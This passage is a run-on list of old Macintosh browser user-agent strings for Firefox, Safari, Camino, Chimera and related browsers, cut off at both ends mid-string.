rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; nl-NL; rv:1.8.1.3) Gecko/20080722 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; nl-nl) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; nl; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; pt-BR; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ru-ru) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ru-ru) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-SE; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-SE; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-SE; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-SE; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-SE; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-SE; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-SE; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.10.6 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; zh-cn) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; zh-tw) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 Mozilla/5.0 (Macintosh; U; Linux; en) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; Mac OS X 10_5_7; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 Mozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 Mozilla/5.0 (Macintosh; U; Mac OS X Mach-O; en-US; rv:2.0a) Gecko/20040614 Firefox/3.0.0 Mozilla/5.0 (Macintosh; U; PPC Linux; en) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; de; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; de; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; de; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9.2.19) Gecko/20110707 Firefox/3.6.19 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 GTB5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.12) Gecko/2009070609 Firefox/3.0.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.16) Gecko/2010010314 Firefox/3.0.16 Flock/2.5.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.4) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.1b2pre) Gecko/20081027 Minefield/3.1b2pre Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.1b3pre) Gecko/20090223 SeaMonkey/2.0a3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.1b3pre) Gecko/20090304 Shiretoko/3.1b3pre Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en; rv:1.9.0.19) Gecko/2010051911 Camino/2.0.3 (like Firefox/3.0.19) Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en; rv:1.9.2.24) Gecko/20111114 Camino/2.1 (like Firefox/3.6.24) Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; fr; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; fr; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; fr; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; ko; rv:1.9.0.5) Gecko/20071216 Firefox/2.0.0.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; de; rv:1.9.2.28) Gecko/20120308 Camino/2.1.2 (MultiLang) (like Firefox/3.6.28) Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-GB; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.12) Gecko/2009070609 Firefox/3.0.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.16) Gecko/2010010314 Firefox/3.0.16 Flock/2.5.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; fr; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; it; rv:1.9.0.19) Gecko/2010111021 Camino/2.0.6 (MultiLang) (like Firefox/3.0.19) Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; da-dk) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de-de) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; el-gr) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.3+ (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.1 (KHTML, like Gecko) Version/4.0 Safari/528.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0 Safari/528.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.5+ (KHTML, like Gecko) Version/4.0 Safari/528.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; es-es) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; hu-hu) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; it-it) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; pl-pl) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; sv-se) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; sv-se) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; tr) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en-gb) AppleWebKit/526+ (KHTML, like Gecko) Version/3.1 Safari/525.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en-gb) AppleWebKit/526+ (KHTML, like Gecko) Version/3.1 iPhone Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; sv-se) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; en-us) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; fi-fi) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/530.1+ (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/530.9+ (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; it-it) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; ja-jp) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; nl-nl) AppleWebKit/530.0+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; tr-TR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9.2009 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_6_1; en_GB, en_US) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_8_1; nn-no) AppleWebKit/533.21.1 (KHTML, like Gecko) iCab/4.8b Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-0; en) rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; XH; rv:8.578.498) fr, Gecko/20121021 Camino/8.443+ (Firefox compatible) Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; XH; rv:8.578.498) fr, Gecko/20121021 Camino/8.723+ (Firefox compatible) Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; da; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.5pre) Gecko/20070605 Camino/1.6a1pre Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021216 Chimera/0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021219 Chimera/0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021220 Chimera/0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030109 Chimera/0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030111 Chimera/0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030306 Camino/0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.3) Gecko/20030312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.3a) Gecko/20030101 Phoenix/0.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.4) Gecko/20030624 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.4a) Gecko/20030401 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.5) Gecko/20031026 Firebird/0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.5.1) Gecko/20031120 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6) Gecko/20040113 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7) Gecko/20040517 Camino/0.8b Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7) Gecko/20040614 Firefox/0.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7) Gecko/20040616 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.10) Gecko/20050720 Firefox/1.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060414 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.2) Gecko/20040803 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.2) Gecko/20040804 Netscape6/6.2.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.2) Gecko/20040825 Camino/0.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.6) Gecko/20050319 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.7) Gecko/20050503 Firefox/1.0.3 Madfox/0.3.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8) Gecko/20050427 Camino/0.8.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8) Gecko/20050511 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20051107 Camino/1.0b1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20051130 Firefox/1.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20051201 Firefox/1.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20051228 Camino/1.0b1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20051229 Camino/1.0b2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20060108 Firefox/1.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20060320 Firefox/2.0a1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20060322 Firefox/2.0a1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060111 